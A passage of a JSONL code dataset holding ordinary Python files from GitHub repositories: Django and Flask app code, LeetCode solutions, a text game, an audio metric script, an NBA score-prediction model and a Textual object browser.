\" + general_settings[\"threshold\"]+\".\")\n z = input(\"What would you like the new threshold to be? Suggested: between 0.075 and 0.125. Press X to cancel.\").strip()\n is_number = z.replace(\".\", \"\").isnumeric()\n if is_number:\n general_settings[\"threshold\"] = z\n elif z != \"X\" and z != \"x\":\n print(\"Please enter a number or X if you want to cancel.\")\n if y == \"b\":\n print(\"The current length of silence is \" + general_settings[\"length_of_silence\"]+\".\")\n z = input(\"What would you like the new length of silence to be? Note: must be an integer. Press X to cancel.\").strip()\n is_integer = z.isnumeric()\n if is_integer:\n general_settings[\"length_of_silence\"] = z\n elif z != \"X\" and z != \"x\":\n print(\"Please enter an integer or X if you want to cancel.\")\n elif x == \"e\":\n print(\"Are you sure you want to reset to default settings? You will lose all your trained sounds. \" + settings_dict[\"a\"]+ \": Yes \" + settings_dict[\"b\"]+ \": No\")\n sound_string = get_user_sounds(user_made_sounds) \n print(sound_string)\n y = trigger_shortcut(sound_string, settings_dict)\n if y == \"a\":\n reset_to_default() \n print(\"System has been reset to default settings.\")\n else:\n print(\"System has NOT been reset.\") \n elif x == \"f\":\n print(\"Exiting settings...\")\n save_user_changes()\n mode_on = False\n elif x == \"g\":\n set_emergency_info()\n else: \n print(\"Not an option. Please enter a, b, c, d, e or f.\")\n\n \n\n\n\n","repo_name":"pulfdev/Sound_Recognition","sub_path":"settings_mode.py","file_name":"settings_mode.py","file_ext":"py","file_size_in_byte":6372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"20028996649","text":"# Imports\nimport RichConsole as RC\nimport Map.Map as Map\nimport Player.Player as Player\nimport Data as Data\nimport ImportData as ImportData\n\n\n\ndef Main():\n Menu()\n\n\n\ndef Menu():\n # Main menu were player choose what he want to do\n Userchoose =\"\"\n while Userchoose != 'Q':\n Userchoose = input(\"\"\"\n (J)ouer\n (Q)uitter\n \n \"\"\").upper()\n\n if Userchoose == 'J':\n PlayGame()\n\n if Userchoose == 'Q':\n print(\"Au revoir\\n\")\n\ndef PlayGame():\n # check if the player entry is ok\n NameOk = False\n while NameOk == False :\n try :\n Data.PlayerName = str(input(f\"Quel est ton nom ?\\n\"))\n if len(Data.PlayerName) > 0 :\n NameOk = True\n except :\n continue\n\n print(\n \"\"\"\n Tu te réveille sur une île tropicale. Tu te releves et apercois un sac à dos contenant une carte,\n un chargeur solaire, un couteau et une bouteille.Une note te dis de résoudre les énigmes et d'aller\n tout d'abord voir le sphinx au Nord.\n \"\"\")\n Pause = input('presse une touche pour continuer')\n \n\n RC.ClearConsole()\n # import all files needed\n ImportData.LoadMapElementsFromFile()\n ImportData.LoadPlayerFile()\n Map.LoadMap()\n Data.PlayerData['Alive'] = True\n \n # principal loop of game \n while Data.Action != \"Q\" and Data.PlayerData['Alive']== True and Data.Victory == False :\n Map.DrawMap()\n Player.Draw()\n Player.PrintPlayerStats()\n Player.ActionOfPlayer()\n\n\n \n \n\n\ndef ChargedGame() :\n pass\n\n\nif __name__==\"__main__\":\n Main()","repo_name":"Alpharius61/Projet1","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"21406927688","text":"#https://leetcode.com/problems/robot-return-to-origin/\n\nclass Solution:\n def judgeCircle(self, moves: str) -> bool:\n dictionary = {'R':1,'L':-1,'U':1,'D':-1}\n x,y=0,0\n for i in moves:\n if i == 'R' or i == 'L':\n x += dictionary[i]\n else:\n y += dictionary[i]\n if x==0 and y==0:\n return True\n else:\n return False\n\ndef stringToString(input):\n import json\n\n return json.loads(input)\n\ndef main():\n import sys\n import io\n def readlines():\n for line in io.TextIOWrapper(sys.stdin.buffer, encoding='utf-8'):\n yield line.strip('\\n')\n\n lines = readlines()\n while True:\n try:\n line = next(lines)\n moves = stringToString(line);\n \n ret = Solution().judgeCircle(moves)\n\n out = (ret);\n print(out)\n except StopIteration:\n break\n\nif __name__ == '__main__':\n main()\n","repo_name":"mitsuk-maksim/tg_mpei_course","sub_path":"657. Robot Return to Origin.py","file_name":"657. Robot Return to Origin.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"37682016792","text":"class Solution:\n @cache\n def dp(self, num):\n if num == 1:\n return 0\n\n if num % 2:\n return 1 + self.dp(num * 3 + 1)\n return 1 + self.dp(num // 2)\n \n \n def quickselect(self, left, right, nums, k):\n pivot, pointer = nums[right], left\n \n for idx in range(left, right):\n if nums[idx] <= pivot:\n nums[pointer], nums[idx] = nums[idx], nums[pointer]\n pointer += 1\n \n \n nums[pointer], nums[right] = nums[right], nums[pointer]\n \n if pointer > k:\n return self.quickselect(left, pointer - 1, nums, k)\n if pointer < k:\n return self.quickselect(pointer + 1, right, nums, k)\n \n return nums[pointer][1]\n \n \n def getKth(self, lo: int, hi: int, k: int) -> int:\n \"\"\"\n bruteforce is a dp approach by saving\n \n for idx in range(12, 15):\n dp(idx)\n \n dp(idx)\n if idx == 1:\n return 0\n \n if even, and if odd\n return\n \n \n sort the nums based on their values\n return nums[k - 1]\n \"\"\"\n nums = []\n for num in range(lo, hi + 1):\n nums.append([self.dp(num), num])\n \n \n return self.quickselect(0, len(nums) - 1, nums, k - 1)\n","repo_name":"Henok-Matheas/competitive_programming","sub_path":"1387-sort-integers-by-the-power-value/1387-sort-integers-by-the-power-value.py","file_name":"1387-sort-integers-by-the-power-value.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"23260544815","text":"#!/usr/bin/python3\n#input functions take input from keyboard,with the string in bracket printed when input function is run.\nname = input('what is your name you beautiful thang? ')\nage = input('what is your age? ')\n#print functions prints everything like a string\n#{age:d} will cast age as the integer it is and not string. x=hex,b=binary,s=string\nprint(f'hello, {name} you are {age} year old')\n\nstr1 = 'welcome' #to assign string, or print a string always put in parenthesis\nstr2 = 'to my program'\nwelcome = str1 + \" \" + str2 + \" \" + 3 * \"Hurray! \" #strings can be concated like this\nprint(welcome)\n\nlove = \"\"\"\nI love you so much\nplease marry me\nWe will live forever happy together\n\"\"\"\n\nprint(name, '!' , 'you are so pretty', love)","repo_name":"chesahkalu/random_python_basics","sub_path":"Beginer_basics/1-yourname.py","file_name":"1-yourname.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"72451359258","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 28 16:28:58 2020\n\n@author: Gunna\n\"\"\"\n\nimport os\nimport xmltodict\n\n#################### Path Declaration ####################\nhomePath = os.path.join( os.getcwd( )[ : os.getcwd( ).find( \"Programming\") ], \"Programming\" )\ntrainPath = os.path.join( homePath, \"training\" )\nprepPath = os.path.join( homePath, \"prep\" )\npngPath = os.path.join( homePath, \"pngData/test/\" )\npackagePath = os.path.join( homePath, \"packages\" )\ntempPath = os.path.join( homePath, \"temp\" )\n##########################################################\n\n\npath = os.path.join( prepPath, \"labeled\" )\n\nxmlFiles = os.listdir( path )\n\nlabelList = []\n\nfor file in xmlFiles:\n \n with open( os.path.join( path, file ) ) as f:\n doc = xmltodict.parse( f.read( ) )\n \n imName = doc[ \"annotation\" ][ \"filename\" ]\n imPath = doc[ \"annotation\" ][ \"path\" ]\n bndBox = doc[ \"annotation\" ][ \"object\" ][ \"bndbox\" ]\n name = doc[ \"annotation\" ][ \"object\" ][ \"name\" ]\n xmin = int( bndBox[ \"xmin\" ] )\n xmax = int( bndBox[ \"xmax\" ] )\n ymin = int( bndBox[ \"ymin\" ] )\n ymax = int( bndBox[ \"ymax\" ] )\n \n labelList.append( [ imPath, imName, xmin, ymin, xmax, ymax ] )\n\ncsvString = \"Bild Pfad;Bild Name;xMin;yMin;xMax;yMax\\n\"\n\nfor entry in labelList:\n csvString += f\"{entry[ 0 ]};{entry[ 1 ]};{entry[ 2 ]};{entry[ 3 ]};{entry[ 4 ]};{entry[ 5 ]}\\n\"\n \nwith open( os.path.join( prepPath, \"labelList.csv\" ), \"w+\" ) as f:\n f.write( csvString )","repo_name":"gufu1995/diplom_software","sub_path":"prep/backup/labelCheck.py","file_name":"labelCheck.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"42121283390","text":"from user_profile.models import UserProfile\nfrom django import forms\nfrom django.contrib.auth import get_user_model\n\nUser = get_user_model()\nACCOUNT_CHOICE=[\n ('business','Business'),\n ('marketer','Marketer'),\n ('individual','Individual'),\n]\n\nclass UserProfileModelForm(forms.ModelForm):\n class Meta:\n model = UserProfile\n fields = ('image', 'rc_number', 'company_name', 'website')\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for field in iter(self.fields):\n self.fields[field].widget.attrs.update({\n 'class': 'form-control'\n })\n\nclass PersonalProfileModelForm(forms.ModelForm):\n class Meta:\n model = UserProfile\n fields = ('image', 'name', 'surname', 'middle_name', 'phone_number')\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for field in iter(self.fields):\n self.fields[field].widget.attrs.update({\n 'class': 'form-control'\n })\n\n\n\n","repo_name":"sesdave/sugos","sub_path":"user_profile/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"28798552664","text":"import os\nfrom flask import Flask, jsonify\nfrom flask_restful import Resource, Api\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(__name__)\napi = Api(app)\n\napp_settings = os.getenv('APP_SETTINGS')\napp.config.from_object(app_settings)\n\ndb = SQLAlchemy(app)\n\nclass User(db.Model): # new\n __tablename__ = 'users'\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n username = db.Column(db.String(128), nullable=False)\n email = db.Column(db.String(128), nullable=False)\n active = db.Column(db.Boolean(), default=True, nullable=False)\n\n def __init__(self, username, email):\n self.username = username\n self.email = email\n\nclass UsersResource(Resource):\n def get(self):\n return {\n 'status': 'success',\n 'message': 'success msg'\n }\n\napi.add_resource(UsersResource, '/users/test')\n","repo_name":"bwdmonkey/FreeEyeOutFront","sub_path":"services/users/project/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"8857383663","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 21 11:20:19 2019\n\n@author: dongdong\n\"\"\"\nfrom django.urls import path,re_path\nfrom . import views\n\napp_name = 'article' # 一定要写这一行,否则html中会报错 'article' is not a registered namespace\n\nurlpatterns = [\n path('myalgo-column/', views.myalgo_column, name=\"myalgo_column\"),\n \n #path('myalgo-opt-detail/', views.myalgo_opt_detail, name=\"myalgo_opt_detail\"),\n path('myalgo-list-to-edit/', views.myalgo_list_to_edit, name=\"myalgo_list_to_edit\"),\n path('myalgo-post/', views.myalgo_post, name=\"myalgo_post\"),\n path('myalgoopt-post/', views.myalgoopt_post, name=\"myalgoopt_post\"),\n path('myalgo-list/', views.myalgo_list, name=\"myalgo_list\"),\n re_path('myalgo-detail/(?P\\d+)/(?P[-\\w]+)/$', views.myalgo_detail, name=\"myalgo_detail\"),\n path('myalgo-opt/', views.myalgoopt_list, name=\"myalgoopt_list\"),\n\n path('del-myalgoopt/', views.del_myalgoopt, name=\"del_myalgoopt\"), \n path('del-myalgo/', views.del_myalgo, name=\"del_myalgo\"), \n path('redit-myalgo//', views.redit_myalgo, name=\"redit_myalgo\"), \n path('redit-myalgoopt//', views.redit_myalgoopt, name=\"redit_myalgoopt\"), \n re_path('myalgo-opt-detail/(?P\\d+)/(?P[-\\w]+)/$', views.myalgo_opt_detail, name=\"myalgo_opt_detail\"),\n path('run_test//', views.run_test, name=\"run_test\"),\n path('run_algo_opt//', views.run_algo_opt, name=\"run_algo_opt\"),\n]","repo_name":"dongdong12311/cnic_portfolio","sub_path":"lehehe/article/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"35058631898","text":"#-*- coding: utf-8 -*-\n\nfrom tqdm import tqdm\nimport soundfile as sf\nimport numpy as np\nimport pysptk\nimport pyworld\nfrom nnmnkwii.preprocessing.alignment import DTWAligner\nimport nnmnkwii.metrics\n\naligner = DTWAligner()\n\ndef get_mc(wav):\n y, sr = sf.read(wav)\n y = y.astype(np.float64)\n f0, timeaxis = pyworld.dio(y, sr, frame_period=5)\n f0 = pyworld.stonemask(y, f0, timeaxis, sr)\n spectrogram = pyworld.cheaptrick(y, f0, timeaxis, sr)\n mc = pysptk.sp2mc(spectrogram, order=24, alpha=0.41)\n mc = mc.astype(np.float32)\n\n return mc\n\n\ndef get_mcd(inp, ref):\n # extract mc\n inp_mc = get_mc(inp)\n ref_mc = get_mc(ref)\n\n # alignment\n inp = np.expand_dims(inp_mc, 0) # rank=3\n ref = np.expand_dims(ref_mc, 0) # rank=3\n\n inp_aligned, ref_aligned = aligner.transform((inp, ref))\n\n inp_aligned = np.squeeze(inp_aligned)\n ref_aligned = np.squeeze(ref_aligned)\n\n # calc mcd\n mcd = nnmnkwii.metrics.melcd(inp_aligned, ref_aligned)\n\n return mcd\n\n\nif __name__ == \"__main__\":\n def run(token_type):\n mcd_li = []\n for i in tqdm(range(1, 101)):\n inp = 'samples/{}/{}.wav'.format(token_type, i)\n ref = '/data/public/rw/jss/jss/{}.wav'.format(9900-1+i)\n mcd = get_mcd(inp, ref)\n mcd_li.append(mcd)\n mcd_li = np.array(mcd_li)\n print('{}'.format(token_type))\n print('mean =', mcd_li.mean())\n print('var =', mcd_li.var())\n\n # run(\"char\")\n # run(\"j\")\n # run(\"hcj\")\n # run(\"shcj\")\n run(\"sj\")","repo_name":"kakaobrain/jejueo","sub_path":"speech/mcd.py","file_name":"mcd.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"68"}
+{"seq_id":"20336482411","text":"import pandas as pd\nimport numpy as np\nfrom common_functions.utils import DataObject\nfrom multiprocessing import get_context\nenv = 'linux'\n#%%\nif env == 'mac':\n root_data_dir = '/Users/danny/nba_bets/data/'\nelif env == 'linux':\n root_data_dir = '/home/danny/nba/data/'\n\n\ndef getTeamStats(abv, latestdate):\n # edit this function for additional feature eng\n team_subset = df1[df1['TEAM_ABBREVIATION'] == abv].copy()\n team_subset['GAME_DATE'] = pd.to_datetime(team_subset['GAME_DATE'])\n team_subset.index = team_subset['GAME_DATE']\n team_subset.sort_index(inplace=True, ascending=False)\n colnames = team_subset.columns\n stats_columns = ['PTS', 'FGM', 'FGA', 'FG_PCT',\n 'FG3M', 'FG3A', 'FG3_PCT', 'FTM', 'FTA', 'FT_PCT', 'OREB', 'DREB',\n 'REB', 'AST', 'STL', 'BLK', 'TOV', 'PF']\n date_subset = team_subset[team_subset['GAME_DATE'] < latestdate].copy()\n date_subset['numerical_wins'] = np.where(date_subset['WL'] == 'L', 0, 1)\n date_subset['location'] = np.where(date_subset['MATCHUP'].str.contains('@'), -1, 1)\n date_reversed = date_subset.iloc[::-1].copy()\n date_reversed['window_sum10'] = date_reversed['numerical_wins'].rolling(10).sum()\n date_reversed['window_sum5'] = date_reversed['numerical_wins'].rolling(5).sum()\n date_reversed['window_sum3'] = date_reversed['numerical_wins'].rolling(3).sum()\n stats_columns.extend(['window_sum10', 'window_sum5', 'window_sum3', 'location', 'numerical_wins', 'break_days'])\n date_subset = date_reversed.copy()\n date_subset['LAG_DATA'] = date_subset['GAME_DATE'].shift(1)\n date_subset['break_days'] = date_subset[\"GAME_DATE\"] - date_subset[\"LAG_DATA\"]\n date_subset['break_days'] = date_subset['break_days'].dt.days\n current_stats = date_subset.iloc[-11:, [date_subset.columns.get_loc(c) for c in stats_columns]].copy()\n base_points = current_stats['PTS']\n current_stats['PIE'] = (\n current_stats['PTS'] + current_stats['FGM'] + current_stats['FTM'] - current_stats[\n 'FTA'] + current_stats['DREB'] +\n current_stats['OREB'] + current_stats['AST'] + current_stats['STL'] + current_stats[\n 'BLK'] - current_stats['PF'] - current_stats['TOV'])\n current_stats['CORE_PTS'] = base_points\n current_stats.iloc[:, 0:18] = current_stats.iloc[:, 0:18].ewm(halflife=7).mean()\n return current_stats\n\n\ndef getTeamStatsold(abv,latestdate):\n #edit this function for additional feature eng\n team_subset = df1[df1['TEAM_ABBREVIATION'] == abv].copy()\n # team_subset = df1[df1['TEAM_ABBREVIATION'] == 'ATL'].copy()\n # latestdate = '2000-01-19'\n team_subset['GAME_DATE'] = pd.to_datetime(team_subset['GAME_DATE'])\n team_subset.index = team_subset['GAME_DATE']\n team_subset.sort_index(inplace=True, ascending=False)\n colnames = team_subset.columns\n stats_columns = ['PTS', 'FGM', 'FGA', 'FG_PCT',\n 'FG3M', 'FG3A', 'FG3_PCT', 'FTM', 'FTA', 'FT_PCT', 'OREB', 'DREB',\n 'REB', 'AST', 'STL', 'BLK', 'TOV', 'PF']\n date_subset = team_subset[team_subset['GAME_DATE'] < latestdate].copy()\n date_subset['numerical_wins'] = np.where(date_subset['WL'] == 'L', 0, 1)\n date_subset['location'] = np.where(date_subset['MATCHUP'].str.contains('@'),-1,1)\n date_reversed = date_subset.iloc[::-1].copy()\n date_reversed['window_sum10'] = date_reversed['numerical_wins'].rolling(10).sum()\n date_reversed['window_sum5'] = date_reversed['numerical_wins'].rolling(5).sum()\n date_reversed['window_sum3'] = date_reversed['numerical_wins'].rolling(3).sum()\n stats_columns.extend(['window_sum10', 'window_sum5', 'window_sum3','location','numerical_wins'])\n date_subset = date_reversed.copy()\n\n current_stats = date_subset.iloc[-11:, [date_subset.columns.get_loc(c) for c in stats_columns]].copy()\n base_points = current_stats['PTS']\n current_stats['PIE'] = (\n current_stats['PTS'] + current_stats['FGM'] + current_stats['FTM'] - current_stats[\n 'FTA'] + current_stats['DREB'] +\n current_stats['OREB'] + current_stats['AST'] + current_stats['STL'] + current_stats[\n 'BLK'] - current_stats['PF'] - current_stats['TOV'])\n current_stats['CORE_PTS'] = base_points\n current_stats.iloc[:,0:18] = current_stats.iloc[:,0:18].ewm(halflife=7).mean()\n return current_stats\n\ndef getOverUnder(gameid):\n try:\n target_game = df1[df1['GAME_ID'] == gameid] # contains target\n # target_game = df1[df1['GAME_ID'] == 29900545] #contains target\n if target_game.shape[0] != 2:\n return None\n relevant_teams = target_game['TEAM_ABBREVIATION'].tolist()\n match_location_away = target_game.loc[target_game['MATCHUP'].str.contains('@')]\n match_location_home = target_game.loc[~target_game['MATCHUP'].str.contains('@')]\n target_game_date = match_location_home['GAME_DATE']\n # match_outcome_home = np.where(match_location_away['WL'] == 'W',0,1) #0 if away team wins\n spread = match_location_home.iloc[0, match_location_home.columns.get_loc('PTS')] + \\\n match_location_away.iloc[0, match_location_away.columns.get_loc('PTS')]\n game_date = match_location_away['GAME_DATE'].values[0]\n home_team = match_location_away['MATCHUP'].str.extract(r'((?<=@.)\\S{3})')[0].tolist()\n away_team = [x for x in relevant_teams if x not in home_team]\n home_df = getTeamStats(home_team[0], game_date)\n away_df = getTeamStats(away_team[0], game_date)\n # normalized_hdf = (home_df - home_df.min()) / (home_df.max() - home_df.min())\n # normalized_adf = (away_df - away_df.min()) / (away_df.max() - away_df.min())\n if home_df.shape == (11, 26) and away_df.shape == (11, 26):\n output = [target_game_date, spread, home_df, away_df]\n else:\n return None\n except:\n return None\n return output\n\n\ndef get_optimization(indf):\n all_games_ids = indf['GAME_ID'].unique()\n pool = get_context(\"fork\").Pool(22) #change to number of cores on machine\n optimization_result = pool.map(getOverUnder, all_games_ids)\n pool.close()\n return optimization_result\n\n\n#read in data\ndf1 = pd.read_csv(root_data_dir + 'gamedf.csv',index_col = 0)\n\n\noptimization_result = get_optimization(df1)\n\ncomplete_dataset = []\nfor val in optimization_result:\n if val != None :\n complete_dataset.append(val)\n\n\ntrain_labels = []\ntrain_features = []\ntest_labels = []\ntest_features = []\n\nfor r in range(0,len(complete_dataset)):\n print(r)\n if (pd.to_datetime(complete_dataset[r][0]) < '2020-01-01').bool():\n train_labels.append(complete_dataset[r][1])\n home_row = complete_dataset[r][2].to_numpy().flatten('F')\n away_row = complete_dataset[r][3].to_numpy().flatten('F')\n both_row = np.concatenate((home_row,away_row))\n train_features.append(both_row)\n else:\n test_labels.append(complete_dataset[r][1])\n home_row = complete_dataset[r][2].to_numpy().flatten('F')\n away_row = complete_dataset[r][3].to_numpy().flatten('F')\n both_row = np.concatenate((home_row,away_row))\n test_features.append(both_row)\n\nnum_features = 550\ntrain_labels = np.array(train_labels)\ntrain_features = np.array(train_features)\ntest_labels = np.array(test_labels)\ntest_features = np.array(test_features)\n\n#%%\ntrainlab = np.nan_to_num(train_labels)\ntrainset = np.nan_to_num(train_features)\ntestlab = np.nan_to_num(test_labels)\ntestset = np.nan_to_num(test_features)\n\nfrom tensorflow.keras.layers import Dense, Dropout,Conv1D, MaxPooling1D, Flatten, GlobalAvgPool1D\nfrom tensorflow.keras import Sequential\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error\nimport tensorflow as tf\nfrom tensorflow.keras import optimizers\nfrom tensorflow.keras.regularizers import l1\n\n\n\nmodel = Sequential()\nmodel.add(Dense((num_features), input_dim=(num_features), activation='relu'))\n# model.add(Dropout(0.2))\nmodel.add(Dense(500,activation='relu'))\nmodel.add(Dense(500,activation='relu'))\nmodel.add(Dense(500,activation='relu'))\nmodel.add(Dense(500,activation='relu'))\nmodel.add(Dense(500,activation='relu'))\nmodel.add(Dense(500,activation='relu'))\nmodel.add(Dense(500,activation='relu'))\nmodel.add(Dense(500,activation='relu'))\n# model.add(Dropout(0.4))\nmodel.add(Dense(1, activation='linear'))\nmodel.summary()\n\nmodel.compile(loss='mean_absolute_error', optimizer=optimizers.Adam(lr=0.000001), metrics=['mae'])\nearly_stop = tf.keras.callbacks.EarlyStopping(monitor='val_mae', patience=15)\n#\n# opt = SGD(lr=0.001, momentum=0.9)\n# model.compile(loss='binary_crossentropy', optimizer='Adam', metrics=['accuracy'])\n\n\nhistory = model.fit(trainset, trainlab, epochs=4000, batch_size=20000, callbacks=[early_stop],\n validation_split=.2,shuffle=False)\n\nfrom matplotlib import pyplot\npyplot.subplot(212)\npyplot.title('MAE')\npyplot.plot(history.history['mae'], label='train')\npyplot.plot(history.history['val_mae'], label='test')\npyplot.legend()\npyplot.show()\n\n\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error\npredictions = model.predict(testset).flatten()\npred_df = pd.DataFrame([predictions,testlab]).T\npred_df.columns = ['predictions','labels']\nprint(mean_squared_error(pred_df['labels'], pred_df['predictions'], squared=False))\nprint(mean_absolute_error(pred_df['labels'], pred_df['predictions']))\n22.03\n17.17\n21.53\n16.80\n21.54\n16.69\n20.96\n16.39\n20.68\n16.2\n20.63\n16.18\n20.59\n16.12\n\n#bench\n20.27\n15.91\n\n#new bench\n20.18\n15.84\n\n\n\n#%%\ntrainlab = np.nan_to_num(train_labels)\ntrainset = np.nan_to_num(train_features)\ntestlab = np.nan_to_num(test_labels)\ntestset = np.nan_to_num(test_features)\n\n\nimport xgboost as xgb\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error\n\ndtrain = xgb.DMatrix(trainset, label=trainlab)\n\nparams = {}\nparams['eval_metric'] = 'mae'\nparams['tree_method'] = 'gpu_hist'\n# params['colsample_bytree'] = .849\n# params['gamma'] = .07\nparams['learning_rate'] = .01\nparams['max_depth'] = 5\n# params['early_stopping_rounds'] = 30\nparams['objective'] = 'reg:squarederror'\n# params['scale_pos_weight'] = 2\n\n\nnum_round = 1200\n\nbst = xgb.train(params, dtrain,num_round)\n\n\ndtest = xgb.DMatrix(testset)\npredictions = bst.predict(dtest)\npred_df = pd.DataFrame([predictions,test_labels]).transpose()\npred_df.columns = ['predictions','labels']\nprint(mean_squared_error(pred_df['labels'], pred_df['predictions'], squared=False))\nprint(mean_absolute_error(pred_df['labels'], pred_df['predictions']))","repo_name":"davidsanchez222/nba_bets","sub_path":"models/danny_feature_engineering.py","file_name":"danny_feature_engineering.py","file_ext":"py","file_size_in_byte":10571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"73231434458","text":"import importlib\nimport inspect\nimport pkgutil\n\nfrom textual import events\nfrom textual.app import App, ComposeResult\nfrom textual.containers import Container, Horizontal\nfrom textual.widgets import Static\n\nfrom shira._object_panel import ObjectPanel\nfrom shira._search import SearchBar, SearchCompletion, CompletionCandidate\n\nNOT_FOUND = \"poi12zn@$][]daza\"\n\n\nclass Shira(App):\n def compose(self) -> ComposeResult:\n self.modules = {module.name: module for module in pkgutil.iter_modules()}\n self.original_candidates = [\n CompletionCandidate(\n primary=module.name,\n secondary=\"pkg\" if module.ispkg else \"mod\",\n original_object=module,\n )\n for module in self.modules.values()\n ]\n yield Horizontal(\n Static(\">\", id=\"search-prompt\"),\n SearchBar(id=\"search-input\"),\n id=\"search-bar-container\",\n )\n yield Container(\n SearchCompletion(\n candidates=self.original_candidates,\n id=\"search-completion\",\n ),\n id=\"search-completion-container\",\n )\n yield Container(\n ObjectPanel(id=\"object-panel\"),\n id=\"body-container\",\n )\n\n def on_mount(self, event: events.Mount) -> None:\n self.query_one(\"#search-input\").focus()\n\n def on_search_bar_updated(self, event: SearchBar.Updated) -> None:\n completion = self.app.query_one(SearchCompletion)\n\n value = event.value\n if len(value) < 2:\n completion.parent.display = False\n return\n\n cursor_position = event.cursor_position\n\n # Fill up the list of candidates\n # How do we determine the candidates?\n # Active object should be the right-most resolvable part in the string\n # The left-most part should look in the self.modules to kick off the search.\n # TODO: Cache active objects, don't naively reset it each time if it's the\n # same as it was before\n parts = [part for part in value.split(\".\")]\n\n object_panel = self.query_one(\"#object-panel\", ObjectPanel)\n search_part = \"\"\n if len(parts) == 0:\n # If we're empty, then there should be no candidates\n completion.update_candidates([])\n elif len(parts) == 1:\n # If there's only one part, then we're searching for module_name in self.modules\n module_name = parts[0]\n\n # Trim down the candidate list to those containing the query string\n candidates = []\n for candidate in self.original_candidates:\n if module_name in candidate.primary:\n candidates.append(candidate)\n if module_name == candidate.primary:\n object_panel.active_object = candidate.original_object\n\n # Update the dropdown list with the new candidates\n completion.update_candidates(candidates)\n # Tell the dropdown list about the part to use for highlighting matching candidates\n # Since there's only 1 part, we don't need to do anything tricky here\n search_part = module_name\n else:\n # We have multiple parts now, so finding our list of candidates is more complex\n # We'll look through the parts to get to the rightmost valid part BEFORE the cursor position.\n module_name = parts[0]\n other_parts = parts[1:]\n\n search_input = self.query_one(\"#search-input\", SearchBar)\n cursor_position = search_input.cursor_position\n\n # Now we need to get into a scenario where we have an object that we wish to search,\n # and a search string to apply to it\n object_to_search = self.modules.get(module_name)\n\n if object_to_search is None:\n completion.update_candidates([])\n else:\n # TODO: We should update this loop to only go up to the cursor position\n search_part = \"\"\n for part in other_parts:\n if part == \"\":\n break\n\n if isinstance(object_to_search, pkgutil.ModuleInfo):\n object_to_search = importlib.import_module(\n object_to_search.name\n )\n\n # Look for this part on the current object to search\n object_dict = getattr(object_to_search, \"__dict__\", None)\n if object_dict is None:\n completion.update_candidates([])\n break\n\n obj = object_dict.get(part, NOT_FOUND)\n if obj == NOT_FOUND:\n search_part = part\n break\n else:\n object_to_search = obj\n\n if object_to_search is not None:\n if isinstance(object_to_search, pkgutil.ModuleInfo):\n object_to_search = importlib.import_module(\n object_to_search.name\n )\n\n if hasattr(object_to_search, \"__dict__\"):\n new_candidates = []\n for name, obj in object_to_search.__dict__.items():\n print(obj, getattr(obj, \"__package__\", None))\n if name.startswith(\"__\") and name.endswith(\"__\"):\n continue\n\n is_module = inspect.ismodule(obj)\n if is_module and getattr(\n obj, \"__package__\", \"-x-\"\n ) == getattr(object_to_search, \"__package__\", \"-y-\"):\n new_candidates.append(\n CompletionCandidate(\n name, \"mod\", original_object=obj\n )\n )\n elif not is_module:\n obj_module = inspect.getmodule(obj)\n if inspect.ismodule(object_to_search):\n include = obj_module is object_to_search\n else:\n include = obj_module is inspect.getmodule(\n object_to_search\n )\n\n if include:\n new_candidates.append(\n CompletionCandidate(\n name, None, original_object=obj\n )\n )\n\n # If it's a module, include if it has same __package__\n # If it's not a module, include if in same module\n\n completion.update_candidates(new_candidates)\n\n object_panel.active_object = object_to_search\n\n # The search bar has updated, so lets update the completion dropdown\n # First, align it with the cursor position\n completion_parent = self.app.query_one(\"#search-completion-container\")\n top, right, bottom, left = completion_parent.styles.margin\n completion_parent.styles.margin = (\n top,\n right,\n bottom,\n cursor_position + 3,\n )\n completion.filter = search_part\n completion.highlight_index = completion.highlight_index\n\n\napp = Shira(css_path=\"shira.scss\")\n\n\ndef run():\n app.run()\n","repo_name":"darrenburns/shira","sub_path":"shira/shira.py","file_name":"shira.py","file_ext":"py","file_size_in_byte":7751,"program_lang":"python","lang":"en","doc_type":"code","stars":154,"dataset":"github-code","pt":"68"}
